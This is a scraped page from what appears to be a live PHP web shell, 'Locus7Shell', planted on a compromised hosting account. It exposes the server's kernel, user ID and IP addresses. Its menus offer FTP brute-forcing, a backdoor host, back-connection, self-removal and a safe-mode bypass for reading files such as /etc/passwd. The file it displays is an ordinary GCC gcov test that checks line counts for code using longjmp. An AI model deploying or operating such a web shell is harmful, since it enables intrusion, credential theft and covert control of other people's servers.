Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.misc-tests/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     gcov-7.c (1.54 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* Check that gcov correctly reports line counts, branch percentages,
 * and call return percentages for functions that call longjmp. */

/* { dg-options "-fprofile-arcs -ftest-coverage" } */
/* { dg-do run { target native } } */

#include <setjmp.h>

extern void abort (void);
extern void exit (int);

jmp_buf env;
int val;
int longjmp_taken;
int bar_enter, bar_exit;
int foo_enter, foo_exit;

void bar (int i)
{
  bar_enter++;                /* count(3) */
                    /* branch(67) */
  if (i == 0) {
                        /* branch(end) */
      longjmp_taken++;            /* count(1) */
      longjmp (env, 1);
    }
  val += i+1;
  bar_exit++;                /* count(2) */
}

void foo (int i)
{
  foo_enter++;                /* count(3) */
                    /* branch(67) */
  if (i == 1) {
                    /* branch(end) */
      longjmp_taken++;            /* count(1) */
      longjmp (env, 2);
    }
                    /* returns(50) */
  bar (i);                /* count(2) */
                    /* returns(100) */
  bar (7);                /* count(1) */
                    /* returns(end) */
  val += 16;
  foo_exit++;                /* count(1) */
}

int
passed ()
{
  return (val == 31 &&
          longjmp_taken == 2 &&
      foo_enter == 3 &&
      foo_exit == 1 &&
      bar_enter == 3 &&
      bar_exit == 2);
    
}

void
leave (int i)
{
  if (i == 0) {
      abort ();
    }
  exit (0);
}

int
main()
{
  int retval;

                    /* branch(33) */
  if ((retval = setjmp (env))) {
                    /* branch(end) */
      val += retval;            /* count(2) */
    }
                    /* returns(33) */
  foo (val);                /* count(3) */
                    /* returns(0) */
  leave (passed());            /* count(1) */
                    /* returns(end) */
}

/* { dg-final { run-gcov calls branches { -b gcov-7.c } } } */

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0062 ]--